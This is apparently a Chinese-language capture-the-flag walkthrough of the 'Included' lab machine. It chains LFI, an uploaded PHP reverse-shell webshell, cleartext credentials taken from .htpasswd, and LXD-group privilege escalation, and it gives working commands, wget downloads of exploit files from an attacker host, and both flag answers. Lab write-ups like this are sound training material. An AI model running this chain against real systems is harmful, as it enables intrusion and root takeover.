[StartingPoint][Tier2]Included
字数 988 2025-08-19 12:42:36

LXD 特权提升漏洞利用教学文档

1. 目标系统侦察

1.1 UDP 服务识别

目标机器上运行着 TFTP (Trivial File Transfer Protocol) 服务,使用 UDP 69 端口:

nmap -sU 10.129.232.86 -p 69

1.2 Web 服务漏洞识别

端口 80 上的网页存在本地文件包含 (Local File Inclusion, LFI) 漏洞:

nmap -sC -sV 10.129.232.86 --min-rate 1000
curl http://10.129.232.86/?file=/etc/passwd

2. TFTP 服务利用

2.1 TFTP 默认目录

TFTP 默认存储文件的系统目录:

/var/lib/tftpboot/

2.2 利用 LFI 上传 Webshell

  1. 准备 PHP 反弹 shell 脚本 (webshell.php)
  2. 通过 TFTP 上传 webshell:
tftp 10.129.226.19
tftp> put webshell.php
  1. 验证上传成功:
curl http://10.129.226.19/?file=php://filter/read=convert.base64-encode/resource=/var/lib/tftpboot/webshell.php|base64 -d
  1. 触发反弹 shell:
curl 'http://10.129.226.19/?file=/var/lib/tftpboot/webshell.php'

3. 横向移动

3.1 发现敏感文件

在 web 服务器目录中发现可用于横向移动的文件:

ls -al /var/www/html
.htpasswd

3.2 提升 shell 交互性

SHELL=/bin/bash script -q /dev/null

3.3 查看凭据文件

cat /var/www/html/.htpasswd

3.4 切换用户

使用发现的凭据切换至 mike 用户:

su mike
密码:Sheffield19

4. LXD 特权提升

4.1 用户组信息

用户 mike 属于 lxd 组,可用于特权提升:

groups mike

4.2 利用 Alpine 镜像

用于容器攻击的小型 Linux 发行版:

alpine

4.3 准备攻击环境

  1. 本地构建 Alpine 镜像:
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
chmod a+x build-alpine
sudo ./build-alpine
  1. 启动 HTTP 服务器共享镜像:
python3 -m http.server 80
  1. 在目标机器上下载攻击脚本和镜像:
cd /tmp
wget http://10.10.16.7/exp.tar.gz
wget http://10.10.16.7/lxd.sh
chmod a+x lxd.sh
./lxd.sh -f exp.tar.gz

4.4 关键特权标志

设置容器拥有主机 root 权限的关键标志:

security.privileged=true

5. 获取 Flag

5.1 用户 Flag

find / -name user.txt 2>/dev/null
cat /home/mike/user.txt

用户 Flag: a56ef91d70cfbf2cdb8f454c006935a1

5.2 根 Flag

当主机文件系统挂载在容器的 /mnt 目录时:

find / -name root.txt
cat /mnt/root/root/root.txt

根 Flag: c693d9c7499d9f572ee375d4c14c7bcf

技术要点总结

  1. LFI 漏洞利用:通过文件包含漏洞读取系统文件和上传 webshell
  2. TFTP 匿名上传:利用 TFTP 无需认证的特性上传恶意文件
  3. LXD 组特权提升:利用 lxd 组成员身份创建特权容器
  4. Alpine 镜像利用:使用轻量级 Alpine 镜像快速构建攻击环境
  5. 特权容器挂载:通过 security.privileged=true 获取主机 root 权限

整个攻击链展示了从初始侦察到最终特权提升的完整过程,重点在于利用多个服务的配置缺陷和权限设计问题实现逐步提权。

LXD 特权提升漏洞利用教学文档 1. 目标系统侦察 1.1 UDP 服务识别 目标机器上运行着 TFTP (Trivial File Transfer Protocol) 服务,使用 UDP 69 端口: 1.2 Web 服务漏洞识别 端口 80 上的网页存在本地文件包含 (Local File Inclusion, LFI) 漏洞: 2. TFTP 服务利用 2.1 TFTP 默认目录 TFTP 默认存储文件的系统目录: 2.2 利用 LFI 上传 Webshell 准备 PHP 反弹 shell 脚本 (webshell.php) 通过 TFTP 上传 webshell: 验证上传成功: 触发反弹 shell: 3. 横向移动 3.1 发现敏感文件 在 web 服务器目录中发现可用于横向移动的文件: 3.2 提升 shell 交互性 3.3 查看凭据文件 3.4 切换用户 使用发现的凭据切换至 mike 用户: 4. LXD 特权提升 4.1 用户组信息 用户 mike 属于 lxd 组,可用于特权提升: 4.2 利用 Alpine 镜像 用于容器攻击的小型 Linux 发行版: 4.3 准备攻击环境 本地构建 Alpine 镜像: 启动 HTTP 服务器共享镜像: 在目标机器上下载攻击脚本和镜像: 4.4 关键特权标志 设置容器拥有主机 root 权限的关键标志: 5. 获取 Flag 5.1 用户 Flag 用户 Flag: a56ef91d70cfbf2cdb8f454c006935a1 5.2 根 Flag 当主机文件系统挂载在容器的 /mnt 目录时: 根 Flag: c693d9c7499d9f572ee375d4c14c7bcf 技术要点总结 LFI 漏洞利用 :通过文件包含漏洞读取系统文件和上传 webshell TFTP 匿名上传 :利用 TFTP 无需认证的特性上传恶意文件 LXD 组特权提升 :利用 lxd 组成员身份创建特权容器 Alpine 镜像利用 :使用轻量级 Alpine 镜像快速构建攻击环境 特权容器挂载 :通过 security.privileged=true 获取主机 root 权限 整个攻击链展示了从初始侦察到最终特权提升的完整过程,重点在于利用多个服务的配置缺陷和权限设计问题实现逐步提权。